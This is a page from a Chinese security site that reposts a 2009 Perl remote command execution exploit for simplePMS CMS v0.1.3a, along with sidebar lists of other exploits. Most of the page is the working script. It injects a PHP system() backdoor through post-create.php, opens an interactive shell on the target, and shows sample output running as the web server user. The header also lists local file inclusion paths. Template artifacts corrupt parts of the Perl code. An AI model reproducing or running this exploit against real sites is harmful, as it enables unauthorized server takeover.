dedecms织梦内容管理系统      
首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 支持论坛
  当前位置:主页>安全文章>文章资料>Exploits>文档内容
simplePMS CMS version 0.1.3A remote command execution exploit
来源: 作者:Osirys 发布时间:2009-02-16  
你会看到这个提示,那是因为你的系统无法识别某栏目的模型信息,或者你新建模型后,没为这个模型设计单独的模板。不同模型的文档浏览页的模板为:article_模型名字标识.htm 如“article_article.htm”,更多的信息你可以在频道模型管理的地方查看。
body  
#!/usr/bin/perl

# Script  : simplePMS CMS v0.1.3a
# Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2
# Remote Command Execution Exploit
# Also affected to multiple LFI vulnerabilities <-- Needs Register Globals ON ($filename not declared)
#   /[path]/pages/template.php?filename=[lf]%00
#   /[path]/pages/comp-template.php?filename=[lf]%00
# by Osirys <osirys[at]autistici[dot]org>

# Let's go into the hacking ..

# osirys[~]>$ perl rcex.txt http://localhost/simplePMS-v0-1-3prealpha/
#
#   ---------------------------------------
#            SimplePMS CMS  v0.1.3a
#       Remote Command Execution Sploit
#                  by Osirys
#   ---------------------------------------
#
# [*] Adding evil post ..
# [*] Succesfully backdoored !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]___FCKpd___0gt; id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]___FCKpd___0gt; pwd
# /home/osirys/web/simplePMS-v0-1-3prealpha/posts
# shell[localhost]___FCKpd___0gt; exit
# [-] Quitting ..
# osirys[~]>$

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $host =  $ARGV[0];
my $rand = int(rand 19) +1;
my $file = "h0x".$rand;

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $url = $path."/post-create.php";

my $code = "insert=Before&filename=".$file."&topic=1337&story=owned%22%3Be".
           "cho+%22p0w%22%3Bif%28get_magic_quotes_gpc%28%29%29%7B+%24_GET%".
           "5Bcmd%5D%3Dstripslashes%28%24_GET%5Bcmd%5D%29%3B%7Dsystem%28%2".
           "4_GET%5Bcmd%5D%29%3Becho+%22p0w%22%3B%24a+%3D+%22o&poster=owner";

my $length = length($code);

my $data = "POST ".$url." HTTP/1.1\r\n".
           "Host: ".$h0st."\r\n".
           "Keep-Alive: 300\r\n".
           "Connection: keep-alive\r\n".
           "Content-Type: application/x-www-form-urlencoded\r\n".
           "Content-Length: ".$length."\r\n\r\n".
           $code."\r\n";

my $socket   =  new IO::Socket::INET(
                                         PeerAddr => $h0st,
                                         PeerPort => '80',
                                         Proto    => 'tcp',
                                    ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

print "[*] Adding evil post ..\n";
$socket->send($data);

while ((my $e = <$socket>)&&($own != 1)) {
    if ($e =~ /Sucessfully created post for/) {
        $own = 1;
        print "[*] Succesfully backdoored ! \n";
    }
}
$own == 1 || die "[-] Can't add posts !\n";

print "[&] Hi my master, do your job now [!]\n\n";
&exec_cmd;

sub exec_cmd {
    my(@outs,$out);
    $h0st !~ /www\./ || $h0st =~ s/www\.//;
    print "shell[$h0st]\___FCKpd___0gt; ";
    $cmd = <STDIN>;
    $cmd !~ /exit/ || die "[-] Quitting ..\n";
    $exec_url = $host."/posts/".$file."-posts.php?cmd=".$cmd;
    $re = get_req($exec_url);
    $content = tag($re);
    if ($content =~ /p0w(.+)p0w/) {
        my $out = $1;
        $out =~ s/\$/ /g;
        $out =~ s/\*/\n/g;
        chomp($out);
        print "$out\n";
        &exec_cmd;
    }
    else {
        $c++;
        $cmd =~ s/\n//;
        print "bash: ".$cmd.": command not found\n";
        $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
    }
}

sub get_req() {
    $link = 
___FCKpd___0
[0]; my $req = HTTP::Request->new(GET => $link); my $ua = LWP::UserAgent->new(); $ua->timeout(4); my $response = $ua->request($req); return $response->content; } sub cheek() { my $host =
___FCKpd___0
[0]; if ($host =~ /http:\/\/(.*)/) { return 1; } else { return 0; } } sub get_input() { my $host =
___FCKpd___0
[0]; $host =~ /http:\/\/(.*)/; $s_host = $1; $s_host =~ /([a-z.-]{1,30})\/(.*)/; ($h0st,$path) = ($1,$2); $path =~ s/(.*)/\/$1/; $full_det = $h0st." ".$path; return $full_det; } sub tag() { my $string =
___FCKpd___0
[0]; $string =~ s/\n/\*/g; return($string); } sub banner { print "\n". " --------------------------------------- \n". " SimplePMS CMS v0.1.3a \n". " Remote Command Execution Sploit \n". " by Osirys \n". " --------------------------------------- \n\n"; } sub help() { my $error =
___FCKpd___0
[0]; if ($error == -1) { &banner; print "\n[-] Bad hostname! \n"; } elsif ($error == -2) { &banner; print "\n[-] Bad hostname address !\n"; } print "[*] Usage : perl $0 http://hostname/cms_path\n\n"; exit(0); }

[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文档
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
  相关文档
·CmsFaethon 2.2.0 (info.php ite
·Falt4 Extreme RC4,10.9.2007 CM
·BlogWrite 0.91 Remote FD / SQL
·Alice Gate2 plus Wi-Fi arbitra
·ea-gBook 0.1 Remote Command Ex
·FreeBSD 7.0-RELEASE suffers fr
·Nokia N95-8 browser (setAttrib
·ProFTPd with mod_mysql Authent
·Remote exploit for InselPhoto
·TPTEST <= 3.1.7 Stack Buffer O
  推荐文档
 
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved